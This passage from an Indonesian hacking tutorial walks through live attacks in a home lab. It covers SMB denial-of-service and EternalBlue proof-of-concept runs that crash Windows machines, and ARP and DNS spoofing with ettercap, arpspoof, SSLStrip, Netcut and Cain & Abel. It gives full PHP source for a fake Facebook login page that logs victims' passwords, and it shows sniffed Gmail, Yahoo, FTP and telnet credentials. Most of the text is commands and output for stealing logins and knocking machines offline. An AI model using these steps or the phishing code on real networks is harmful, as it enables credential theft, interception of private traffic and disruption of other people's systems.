   auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
7 / Server 2008 R2 SMB Client Infinite Loop
   auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow
SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
   auxiliary/dos/windows/smb/ms11_019_electbowser
Browser Pool DoS
   auxiliary/dos/windows/smb/rras_vls_null_deref
terfaceAdjustVLSPointers NULL Dereference
   auxiliary/dos/windows/smb/vista_negotiate_stop
P0 SMB Negotiate Protocol DoS
   auxiliary/fuzzers/smb/smb2_negotiate_corrupt
2 Dialect Corruption
   auxiliary/fuzzers/smb/smb_create_pipe
equest Fuzzer
   auxiliary/fuzzers/smb/smb_create_pipe_corrupt
equest Corruption
   auxiliary/fuzzers/smb/smb_negotiate_corrupt
lect Corruption
   auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt
```

Pilih auxiliary/fuzzers/smb/smb2_negotiate_corrupt

```
msf > info auxiliary/fuzzers/smb/smb2_negotiate_corrupt

       Name: SMB Negotiate SMB2 Dialect Corruption
     Module: auxiliary/fuzzers/smb/smb2_negotiate_corrupt
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <hdm@metasploit.com>

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  MAXDEPTH                   no        Specify a maximum byte depth to test
  RHOST                      yes       The target address
  RPORT     445              yes       The target port

Description:
  This module sends a series of SMB negiotiate requests that advertise
  a SMB2 dialect with corrupted bytes.
```

Informasi auxiliary menunjukkan untuk eksploitasi port 445

```
msf > use auxiliary/fuzzers/smb/smb2_negotiate_corrupt
msf auxiliary(smb2_negotiate_corrupt) > set rhost 192.168.1.235
rhost => 192.168.1.235
msf auxiliary(smb2_negotiate_corrupt) > exploit

[*] Fuzzing SMB negotiate packet with 37888 requests
[*] Fuzzing with iteration 100/37888 using fuzz_string_corrupt_byte_reverse offset:147/148 byte:99
[*] Fuzzing with iteration 200/37888 using fuzz_string_corrupt_byte_reverse offset:147/148 byte:199
[*] Fuzzing with iteration 300/37888 using fuzz_string_corrupt_byte_reverse offset:146/148 byte:43
[*] Fuzzing with iteration 400/37888 using fuzz_string_corrupt_byte_reverse offset:146/148 byte:143
[*] Fuzzing with iteration 500/37888 using fuzz_string_corrupt_byte_reverse offset:146/148 byte:243
```

Fuzzing dilakukan

Hasilnya penggunaan CPU naik menjadi 100%

15.8 Serangan pada LSASS SMB NTLM untuk membuat Windows 7 Full version / Windows 7 SP1 mengalami restart

Local Security Authority Subsystem Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. It also writes to the Windows Security Log.

Sumber : https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service

Suatu celah keamanan ditemukan di Windows Local Security Authority Subsystem Service (LSASS) yang mengakibatkan Windows 7, Windows Server 2008 dapat direboot melalui jaringan.

Serangan SMB ini akan membuat Windows 7 mengalami restart otomatis setelah 1 menit.

Untuk penjelasan lebih rincinya dapat masuk di https://www.coresecurity.com/blog/unpatched-lsass-remote-denial-service-ms16-137

PoC:

https://github.com/lgandx/PoC/tree/master/LSASS

```
root@dhcppc4:/home/win10/a# python Lsass-remote.py 192.168.1.57
[+]Negotiating Protocol with the server
[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate.
[*]Working...
[*]Null PTR Triggered.
[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol.
[+]Negotiating Protocol with the server
[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate.
[*]Working...
[*]Null PTR Triggered.
[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol.
[+]Negotiating Protocol with the server
[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate.
[*]Working...
[*]Null PTR Triggered.
[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol.
[+]Negotiating Protocol with the server
[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate.
[*]Working...
[*]Null PTR Triggered.
[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol.
[+]Negotiating Protocol with the server
[+]Negotiating Protocol with the server
[+]Negotiating Protocol with the server
[*]Server crashed.
[*]Quitting
```

Python Lsass-remote.py 192.168.1.57

Otomatis restart dalam waktu 1 menit

15.9 Serangan pada SMB client untuk membuat Windows 10 / 8.1 mengalami blue screen dan restart

```
root@dhcppc4:/home/win10# python Win10.py
```

Target

Windows 10

Ip address komputer attacker

Pengguna Windows 10 mengakses kali linux menggunakan SMB Client

```
root@dhcppc4:/home/win10# python Win10.py
From: ('192.168.1.149', 49426)
[*]Negotiating SMBv2.
[*]Negotiate Protocol SMBv2 packet sent.
[*]Session challenge SMBv2 packet sent.
From: ('192.168.1.149', 49427)
[*]Negotiate Protocol SMBv2 packet sent.
[*]Session challenge SMBv2 packet sent.
[*]Triggering Bug; Tree Connect SMBv2 packet sent.
Disconnected from ('192.168.1.149', 49427)
```

Tampilan di komputer attacker

Windows 10 mengalami blue screen dan restart

15.9 Serangan pada SMB Server untuk membuat Windows 8.1 mengalami blue screen dan restart

Download : https://github.com/worawit/MS17-010

Edit file eternalblue_poc.py

Ada user dengan nama data tapi tanpa password

```
File  Edit  View  Search  Terminal  Help
  GNU nano 2.8.7                File: eternalblue_poc.py

from impacket import smb
from mysmb import MYSMB
from struct import pack
import random
import sys

'''
PoC: demonstrates how NSA eternalblue triggers the buffer overflow
'''

USERNAME = 'data'
PASSWORD = ''

if len(sys.argv) != 2:
        print("{} <ip>".format(sys.argv[0]))
        sys.exit(1)

target = sys.argv[1]
```

Edit seperti di atas

```
eternalchampion_poc2.py  shell.bin                windows10.py
eternalromance_leak.py   shell2.bin               zzz_exploit.py
eternalromance_poc.py    shell3.bin
root@kalibr:~/MS17-010-master# nano eternalblue_poc.py
root@kalibr:~/MS17-010-master# python eternalblue_poc.py 192.168.1.129
```

Serangan dijalankan

Hasilnya seperti di atas

Di atas adalah ketika targetnya Windows 8.1 32bit (Build 9600)

Perbedaannya jika targetnya adalah Windows 8.1 64bit (Build 9600) maka harus ada passwordnya, hal ini juga berlaku hal yang sama jika targetnya Windows 10, jika didasarkan dari percobaan.

Bab 16

ARP & DNS Spoofing di kali linux

16.1 ARP Spoofing

Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.

Sumber : ettercap.github.io - https://ettercap.github.io/ettercap/

Protokol Resolusi Alamat atau disingkat PRA adalah sebuah protokol dalam TCP/IP Protocol Suite yang bertanggungjawab dalam melakukan resolusi alamat IP ke dalam alamat Media Access Control (MAC Address)

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Protokol_Resolusi_Alamat

In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker's MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/ARP_spoofing

16.2 Cara mengintip login user name dan password dengan client di lokal dan server di internet

Ketik ifconfig lalu enter di Kali Linux.

```
          TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1761 (1.7 KiB)  TX bytes:1761 (1.7 KiB)

vlan1     Link encap:Ethernet  HWaddr 64:66:b3:1e:a4:cd
          inet addr:192.168.1.102  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::6666:b3ff:fele:a4cd/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:569 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:134026 (130.8 KiB)  TX bytes:3413 (3.3 KiB)

root@kalidata:~#
```

Di komputer korban dicek arp table

```
Command Prompt
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\data>arp -a

Interface: [illegible]
  Internet Address      Physical Address      Type
  192.168.1.1           64-66-b3-cc-6a-2a     dynamic
  192.168.1.53          4c-72-b9-b1-[illegible]  dynamic
  192.[illegible]       [illegible]           dynamic
  192.168.1.128         a0-f3-c1-28-55-38     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-[illegible]  static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  224.0.0.253           01-00-5e-00-00-fd     static
  239.255.255.250       01-00-5e-7f-ff-fa     static

C:\Users\data>_
```

Mac address router modem ADSL dengan ip address 192.168.1.1

Line Attenuation (dB)	9.5
Errors (Pkts)	0

WAN

Name	Connection Type	VPI/VCI	IP/Mask	Gate
pppoe_8_81_0	PPPoE	8/81	36.73.65.171 /32	36.73.

LAN

MAC Address: 64:66:B3:CC:6A:2A
IP Address: 192.168.1.1
Subnet Mask: 255.255.255.0
DHCP: Enabled

Ketik ettercap -G lalu enter.

Klik Sniff lalu Unfied Sniffing

Pilih network interface yang ingin digunakan

Klik Hosts lalu Scan for Hosts

Klik Hosts lalu pilih Hosts list

Untuk target 1 masukkan ip dan mac address router (private) atau ip gateway untuk client

Masukkan ip atau mac address client di target 2

Klik Targets lalu Current Targets

Klik Mitm lalu arp poisoning

Centang seperti di bawah ini lalu klik OK

Klik Plugins lalu Manage the Plugins

Pilih remote_browser

Klik Start lalu Start sniffing

Perhatikan di arp table komputer client, disitu mac address 192.168.1.1 dan 192.168.1.102 adalah sama.

Untuk sniffing di sini digunakan wireshark, ketik wireshark lalu enter

Klik Interface List

Pilih Interface lalu Start

Saat komputer client melakukan login

Hasilnya di wireshark saat dilakukan filter dengan nama kunci FTP

Di ettercap juga tampil username dan password

16.3 Cara mengintip login user name dan password dengan client di lokal dan server di lokal

Masukkan ip address server di jaringan lokal pada target 1

Komputer client dimasukkan pada Target 2

16.4 Cara mengontrol domain yang dibuka client ke internet (DNS Spoofing)

DNS Spoofing

DNS spoofing (or DNS cache poisoning) is a computer hacking attack, whereby data is introduced into a Domain Name System (DNS) resolver's cache, causing the name server to return an incorrect IP address, diverting traffic to the attacker's computer (or any other computer).

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/DNS_spoofing

Jalankan perintah seperti di bawah ini

```
root@kalidata:~# cd /
root@kalidata:/# locate etter.dns
/etc/ettercap/etter.dns
root@kalidata:/# cd etc
root@kalidata:/etc# cd ettercap
root@kalidata:/etc/ettercap# nano etter.dns
```

Tambahkan domain yang ingin dikontrol pada client, seperti contoh di bawah ini melakukan kontrol pada domain .com, yang jika client membuka alamat domain .com maka akan dilempar ke alamat ip address 192.168.1.128.

```
root@kalidata: /etc/ettercap
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6              File: etter.dns                          Modified

# or for SRV query (either IPv4 or IPv6):                                    #
#    service._tcp|_udp.domain SRV 192.168.1.10:port                          #
#    service._tcp|_udp.domain SRV [2001:db8::3]:port                         #
#                                                                            #
# NOTE: the wildcarded hosts can't be used to poison the PTR requests        #
#       so if you want to reverse poison you have to specify a plain         #
#       host. (look at the www.microsoft.com example)                        #
#                                                                            #
##############################################################################

################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

microsoft.com      A    198.182.196.56
*.microsoft.com    A    198.182.196.56
www.microsoft.com  PTR  198.182.196.56      # Wildcards in PTR are not allowed
*.com A 192.168.1.128

^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

Setelah setting lalu save

Jalankan perintah ettercap -G lalu enter

Tahapannya sama dengan sebelumnya tapi pada DNS Spoofing yang dipilih adalah dns_spoof bukan browser_remote.

Membuat facebook fake login untuk yang digabung dengan DNS Spoofing untuk mendapatkan password facebook

Di halaman facebook klik kanan lalu klik View Page Source

Klik kanan lalu select all

Ctrl F lalu cari action=https://www.facebook.com/login.php?login_attempt=1

Ganti https://www.facebook.com/login.php?login_attempt=1 dengan fbrun.php

Simpan ke index.php

Kode sumber untuk fbrun.php

```
<?php $file = "passfb.txt";

$username = $_POST['email'];

$password = $_POST['pass'];

$ip = $_SERVER['REMOTE_ADDR'];

$today = date("F j, Y, g:i a");

$handle = fopen($file, 'a');

fwrite($handle, "-------------------------------------------------- ++");

fwrite($handle, "\n");

fwrite($handle, "Email fb: ");

fwrite($handle, "$username");

fwrite($handle, "\n");

fwrite($handle, "Password fb: ");

fwrite($handle, "$password");

fwrite($handle, "\n");

fwrite($handle, "IP Address: ");

fwrite($handle, "$ip");
```

```
fwrite($handle, "\n");
fwrite($handle, "Date Submitted: ");
fwrite($handle, "$today");
fwrite($handle, "\n");
fwrite($handle, "------------------------------------------------- ++");
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);
echo "<script LANGUAGE=\"JavaScript\">
<!--
window.location=\"https://login.facebook.com/login.php?login_attempt=1\";
</script>";
?>
```

Hasilnya saat di jalankan fake login.

Diuji langsung pada target

http://facebook.com/passfb.txt

16.5 SSLStrip

SSLstrip is an attack against mixed HTTP/HTTPS connection where a man-in-the-middle downgrades HTTPS links to HTTP.

Sumber : http://security.stackexchange.com/tags/sslstrip/info

Memahami HTTP

The Hypertext Transfer Protocol (HTTP) is an application protocol for distributed, collaborative, hypermedia information systems. HTTP is the foundation of data communication for the World Wide Web.

Hypertext is structured text that uses logical links (hyperlinks) between nodes containing text. HTTP is the protocol to exchange or transfer hypertext.

HTTP functions as a request–response protocol in the client–server computing model. A web browser, for example, may be the client and an application running on a computer hosting a website may be the server. The client submits an HTTP request message to the server. The server, which provides resources such as HTML files and other content, or performs other functions on behalf of the client, returns a response message to the client. The response contains completion status information about the request and may also contain requested content in its message body.

A web browser is an example of a user agent (UA). Other types of user agent include the indexing software used by search providers (web crawlers), voice browsers, mobile apps, and other software that accesses, consumes, or displays web content.

Sumber : https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol

Memahami HTTPS

HTTPS (also called HTTP over TLS, HTTP over SSL, and HTTP Secure is a protocol for secure communication over a computer network which is widely used on the Internet. HTTPS consists of communication over Hypertext Transfer Protocol (HTTP) within a connection encrypted by Transport Layer Security or its predecessor, Secure Sockets Layer. The main motivation for HTTPS is authentication of the visited website and protection of the privacy and integrity of the exchanged data.

The security of HTTPS is that of the underlying TLS, which typically uses long-term public and private keys to generate a short-term session key, which is then used to encrypt the data flow between client and server. X.509 certificates are used to authenticate the server (and sometimes the client as well). As a consequence, certificate authorities and public key certificates are necessary to verify the relation between the certificate and its owner, as well as to generate, sign, and administer the validity of certificates.

Sumber : https://en.wikipedia.org/wiki/HTTPS

Perbandngan HTTP dan HTTPS

In this way, HTTP is the top layer in a "protocol stack" of "HTTP over TCP over IP," as depicted in Figure shown below. A secure variant, HTTPS, inserts a cryptographic encryption layer (called TLS or SSL) between HTTP and TCP .

Sumber : http://mcheepati.blogspot.co.id/2012/03/in-which-layer-http-request-works-and.html

Memahami Page Url dan Form Url dalam hal keamanan

Page Url	Form Url	Status
HTTP	HTTP	Tidak aman karena tidak di enkripsi
HTTP	HTTPS	Tidak aman karena Kelemahannya ada pada MITM
HTTPS	HTTP	Tidak aman karena form data tidak dienkripsi
HTTPS	HTTPS	Keamanan penuh

Contoh praktek SSLStrip

```
root@dhcppc4: ~
File  Edit  View  Search  Terminal  Help
root@dhcppc4:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:52:ff:ce
          inet addr:192.168.1.177  Bcast:192.168.1.255  Mask:255.2
          inet6 addr: fe80::a00:27ff:fe52:ffce/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:95 errors:0 dropped:1 overruns:0 frame:0
          TX packets:21 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:8650 (8.4 KiB)  TX bytes:1391 (1.3 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:240 (240.0 B)  TX bytes:240 (240.0 B)

root@dhcppc4:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.
root@dhcppc4:~#
```

Aktifkan SSH Server jika ingin akses lewat putty

```
root@dhcppc4: ~
login as: root
root@192.168.1.177's password:
Linux dhcppc4 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug  1 04:08:41 2016 from 192.168.1.9
root@dhcppc4:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@dhcppc4:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j RE
DIRECT --to-port 10000
root@dhcppc4:~# arpspoof -i eth0 -t 192.168.1.127 -r 192.168.1.1
8:0:27:52:ff:ce c0:4a:0:0:a0:83 0806 42: arp reply 192.168.1.1 is-at 8:0:27:52:f
f:ce
8:0:27:52:ff:ce c8:3a:35:30:d3:10 0806 42: arp reply 192.168.1.127 is-at 8:0:27:
52:ff:ce
8:0:27:52:ff:ce c0:4a:0:0:a0:83 0806 42: arp reply 192.168.1.1 is-at 8:0:27:52:f
f:ce
8:0:27:52:ff:ce c8:3a:35:30:d3:10 0806 42: arp reply 192.168.1.127 is-at 8:0:27:
52:ff:ce
```

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

arpspoof -i eth0 -t 192.168.1.127 -r 192.168.1.1

```
root@dhcppc4:~# sslstrip -l 10000

sslstrip 0.9 by Moxie Marlinspike running...
```

sslstrip -l 10000

Di komputer target

Target melakukan login di gmail.com

Target melakukan login di mail yahoo

```
exceptions.RuntimeError: Request.finish
 was lost; use Request.notifyFinish to
root@dhcppc4:~# ls sslstrip.log
sslstrip.log
root@dhcppc4:~# cat sslstrip.log
```

Ctrl+c lalu ketik cat sslstrip.log untuk mengetahui hasilnya

```
File  Edit  View  Search  Terminal  Help
%E2%98%83&pstMsg=1&checkedDomains=youtube&rmShown=1
2016-08-03 21:15:30,731 POST Data (ocsp.digicert.com):
0Q000M0K0I0
2016-08-03 21:15:31,913 POST Data (ocsp.digicert.com):
0Q000M0K0I0
2016-08-03 21:15:51,737 SECURE POST Data (accounts.google.com):
Page=PasswordSeparationSignIn&GALX=Jb1BBP-G884&gxf=AFoagUVGIXLD3205Nb86VPNZ
tZkCQ%3A1470179806017&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F&servi
il&ProfileInformation=APMTqunl8A7q49iSUrZqwWK5BELs3aSRu4SZTcdq95ppESlR60ku8
xWiwoy43wh_wpqwE9Uy7Bh06mt9WX6hgd3hesuW2h_suA2WlcpZI3bWeGtrss&_utf8=%E2%98%
response=%21DA-lDy5CuvcYRG7jTKlEyZ6YdBxJw3gCAAAAT1IAAAAICgAFrLsACYWZARsj55C
lQxvmhZALIosqlpxHGap6GLCMnq-QYZ53z0Pax3IEyCVoxoqAEatwuZtNcYxPyEIvGR_DW4TRN4
9EJev2UI6wnreNcvISX8ZjzuKljwc6AWmhJxefrga5dRpUxyegxhZS4DaqSLPgap4S47VYdzePr
DJD5fHUnc4dfs_-3JV3BwVY5yHIV-pjkkOp-NsWi0sb15qclsPw1yIYwJgXIW0UpyawPSNyKvDr
PJA-NKby8KavPcTQCX5iBpRShMjXnbNZvZqsmtLPq7RORkxVecIwlycPPLjdrwB9Ig1bIhZLTi3
xgelMRCH33mURD7
n=&checkedDomains=youtube&identifiertoken=&identifiertoken_audio=&identifie
tcha-input=&Email=kurniawanajazenfone&Passwd=coba12345&PersistentCookie=yes
own=1
```

Username : Kurniawanzenfone

Password : coba123456

```
2016-08-03 21:20:19,356 POST Data (geo.query.yahoo.com):
q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_pl%22%3A1%2C%2
2A_v%22%3A%223.19%22%2C%22_bt%22%3A%22rapid%22%7D%2C%22r%22%3A%5B%7B%22t%22%3A%2
2lv%22%2C%22s%22%3A%22150002527%22%2C%22pp%22%3A%7B%22A_sid%22%3A%22Z7yfYlvyVceu
f7gk%22%2C%22_w%22%3A%22login.yahoo.com%2F%3F.src%3Dym%26.intl%3Dus%26.lang%3Den
-US%26.done%3Dhttps%253a%2F%2Fmail.yahoo.com%22%2C%22A_pn%22%3A%22MBRLogin%22%7D
%2C%22_ts%22%3A1470180191%2C%22lv%22%3A%5B%5D%7D%5D%2C%22yrid%22%3A%22%22%2C%22o
ptout%22%3A%220%22%2C%22nol%22%3A%220%22%7D'
2016-08-03 21:20:21,812 SECURE POST Data (login.yahoo.com):
countrycode=1&username=yk_family_code&passwd=testing123&signin=authtype&.persist
ent=y&_crumb=n41kQ%2F3Brzl&_ts=1470180187&_format=json&_uuid=kqcenp27DwaW&_seqid
=2&otp_channel=&loadtpl=1
2016-08-03 21:20:42,893 SECURE POST Data (login.yahoo.com):
countrycode=1&username=yk_family_code&passwd=testing12345&signin=&.persistent=y&
_crumb=n41kQ%2F3Brzl&_ts=1470180195&_format=json&_uuid=kqcenp27DwaW&_seqid=4&otp
_channel=&loadtpl=1
root@dhcppc4:~#
```

Username : yk_family_code

Password : testing12345

Bab 17

ARP Spoofing di Windows

17.1 Netcut

NetCut is a solution that is helping you to admin your network based only on ARP protocol . It can execute several tasks as list IP-MAC table in seconds, turn off & on network on any computer on your LAN including any device like router or switcher. Also, NetCut can protected users from ARP SPOOF attacks.

Untuk percobaan, pada computer korban dijalankan perintah arp -a untuk melihat tabel arp.

Di sini diketahui ip address 192.168.1.1 mac address nya 64:66:b3:cc:5a:2a.

Saat netcut dijalankan tampil ip address 192.168.1.1 dengan mac address 64:66:b3:cc:6a:2a. Gateway IP yang digunakan untuk koneksi ke internet adalah 192.168.1.1.

Di sini akan di uji untuk mematikan koneksi internet target dengan ip address 192.168.1.53 yang mempunyai mac address 4c:72:b9:b1:06:16. Dipilih ip 12.168.1.53 lalu klik Cut Off.

Pada komputer target, saat dijalankan perintah arp -a kembali, hasilnya mac address pada ip address 192.168.1.1 menjadi berubah yang sebelumnya 64:55:b3:cc:6a:2a menjadi 71:70:75:41:63:58. Saat dilakukan ping google.com dari komputer target hasilnya request timed out.

Pembahasan lebih lanjut dibahas saat training.

17.2 ARP Spoofing untuk mendapatkan password saat client login ke web di internet

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding

scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

Sumber : oxid.it - http://www.oxid.it/cain.html

Sebelum menjalankan cain, untuk percobaan ini dilihat terlebih dahulu table arp di komputer target dengan perintah arp -a. Hasil yang didapatkan adalah ip address 192.168.1.1 terdeteksi mac address nya adalah 64:66:b3:cc:6a:2a.

```
C:\Users\pcatom>arp -a

Interface: 192.168.1.53 --- 0x3
  Internet Address      Physical Address      Type
  192.168.1.1           64-66-b3-cc-6a-2a     dynamic
  192.168.1.54          20-1e-90-47-bd-b2     dynamic
  192.168.1.123         a0-f3-c1-26-55-38     dynamic
  192.168.1.186         00-22-0e-11-85-23     dynamic
```

Untuk mengetahui kebenaran pada hasil table arp maka diuji dengan melihat mac yang digunakan router modem ADSL, hasilnya di router modem menunjukkan mac address yang digunakan adalah 64:66:B3:CC:6A:2A.

LAN

MAC Address:	64:66:B3:CC:6A:2A
IP Address:	192.168.1.1
Subnet Mask:	255.255.255.0
DHCP:	Enabled

LAN

MAC Address:	64:66:B3:CC:6A:2A
IP Address:	192.168.1.1
Subnet Mask:	255.255.255.0
DHCP:	Enabled

Jalankan cain lalu klik Configure

Pilih adapter yang ingin digunakan untuk melakukan arp spoofing.

Klik Sniffer lalu klik icon adapter.

Klik kanan seperti pada gambar di bawah ini lalu pilih Scan Mac Address

Pilih All host in my subnet lalu klik OK

Hasilnya ditampilkan informasi ip address, mac address dan OUI fingerprint.

Pilih APR, lalu klik kiri seperti pada gambar lalu klik +.

Disebelah kiri pilih ip target, di sebelah kanan diisi ip gateway yang digunakan oleh target untuk koneksi internet. Setelah selesai klik OK.

Klik icon poison seperti pada gambar.

Hasilnya saat icon poison dijalankan, ip address 192.168.1.1 yang sebelumnya pada arp table di komputer target mac nya 64:66:b3:cc:6a:2a, telah berubah menjadi a0:f3:c1:28:55:38 yang merupakan mac tersebut adalah mac dari komputer penyerang.

Komputer target login web dengan CMS wordpress yang berada di internet.

Setelah login maka klik passwords pada cain seperti di bawah ini

Hasil dari ARP Spoofing adalah username dan password didapatkan.

Jika ada web yang tidak dapat ditangkap username dan passwordnya maka salah satu hal yang bisa dilakukan adalah cek di configure lalu pilih HTTP Fields.

17.3 ARP Spoofing untuk mendapatkan password saat client login ke FTP Server dan Telnet Server (lokal)

Sebelumnya di komputer target dilakukan pengecekan arp table, dengan perintah arp -a. Di sini diketahui :

Ip address server : 192.168.1.54 dengan mac address 00:1e:90:47:bd:b3

Ip address penyerang : 192.168.1.123 dengan mac address a0:f3:c1:28:55:38

Pada New ARP Poison router di komputer penyerang, set sebelah kiri adalah ip address target, yang sebelah kanan adalah server yang akan diakses oleh client target. Setelah selesai klik OK.

Klik icon poison

Saat di poison maka hasilnya adalah mac address pada komputer server di arp table target mengalami berubah, yaitu yang sebelumnya mac address yang digunakan adalah 00:1e:90:47:bd:b3 telah menjadi a0:f3:c1:28:55:38 yang merupakan mac address penyerang, untuk jelaskan lihat pada gambar.

Di sini komputer target melakukan login ftp ke server dengan ip address 192.168.1.54.

```
C:\Users\pcatom>

C:\Users\pcatom>ftp 192.168.1.54
Connected to 192.168.1.54.
220-FileZilla Server version 0.9.49 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
User (192.168.1.54:(none)): data
331 Password required for data
Password:
230 Logged on
ftp>
```

Setelah selesai login, program cain di komputer penyerang menampilkan username dan password yang dikirimkan komputer target ke komputer server.

Selain FTP juga pada komputer client mengakses telnet server juga, hasilnya di komputer penyerang tampil informasinya pada program cain seperti di bawah ini.

Password telnet server yang didapatkan dari hasil arp spoofing.

17.4 ARP Spoofing untuk mendapatkan password saat client login ke SAMBA Server (lokal)

In a Windows network, NT LAN Manager (NTLM) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN), an older Microsoft product, and attempts to provide backwards compatibility with LANMAN.[citation needed] NTLM version 2 (NTLMv2), which was introduced in Windows NT 4.0 SP4 (and natively supported in Windows 2000), enhances NTLM security by hardening the protocol against many spoofing attacks, and adding the ability for a server to authenticate to the client.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/NT_LAN_Manager

NTLMv2, introduced in Windows NT 4.0 SP4, is a challenge-response authentication protocol. It is intended as a cryptographically strengthened replacement for NTLMv1.

NTLMv2 sends two responses to an 8-byte server challenge. Each response contains a 16-byte HMAC-MD5 hash of the server challenge, a fully/partially randomly generated client challenge, and an HMAC-MD5 hash of the user's password and other identifying information. The two responses differ in the format of the client challenge. The shorter response uses an 8-byte random value for this challenge. In order to verify the response, the server must receive as part of the response the client challenge. For this shorter response, the 8-byte client challenge appended to the 16-byte response makes a 24-byte package which is consistent with the 24-byte response format of the previous NTLMv1 protocol. In certain non-official documentation (e.g. DCE/RPC Over SMB, Leighton) this response is termed LMv2.

The second response sent by NTLMv2 uses a variable length client challenge which includes (1) the current time in NT Time format, (2) an 8-byte random value (CC2 in the box below), (3) the domain name and (4) some standard format stuff. The response must include a copy of this client challenge, and is therefore variable length. In non-official documentation, this response is termed NTv2.

Both LMv2 and NTv2 hash the client and server challenge with the NT hash of the user's password and other identifying information. The exact formula is to begin with the NT Hash, which is stored in the SAM or AD, and continue to hash in, using HMAC-MD5, the username and domain name. In the box below, X stands for the fixed contents of a formatting field.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/NT_LAN_Manager

Pada New ARP Poison router di komputer penyerang, set sebelah kiri adalah ip address target, yang sebelah kanan adalah server yang akan diakses oleh client target. Setelah selesai klik OK.

Klik Poison

Konfigurasi di samba kali linux yang didalamnya menggunakan user Kurniawan untuk mengakses file di /home melalui sharingfile.

```
  GNU nano 2.2.6                File: smb.conf                          Mo

;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
[sharingfile]
   comment = Users profiles
   valid users = kurniawan
   path = /home
   guest ok = yes
   browseable = yes
   writeable = yes
   create mask = 0600
   directory mask = 0700

[sample]
path = /home
```

User Kurniawan diset password jika ada yang ingin mengakses melalui /home melalui sharingfile.

```
root@dhcppc4:/etc/samba# service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
root@dhcppc4:/etc/samba# smbpasswd -a kurniawan
New SMB password:
Retype new SMB password:
Added user kurniawan.
root@dhcppc4:/etc/samba#
```

Saat komputer target mengakses samba server dengan ip address 192.168.1.71 maka muncul tampilan login.

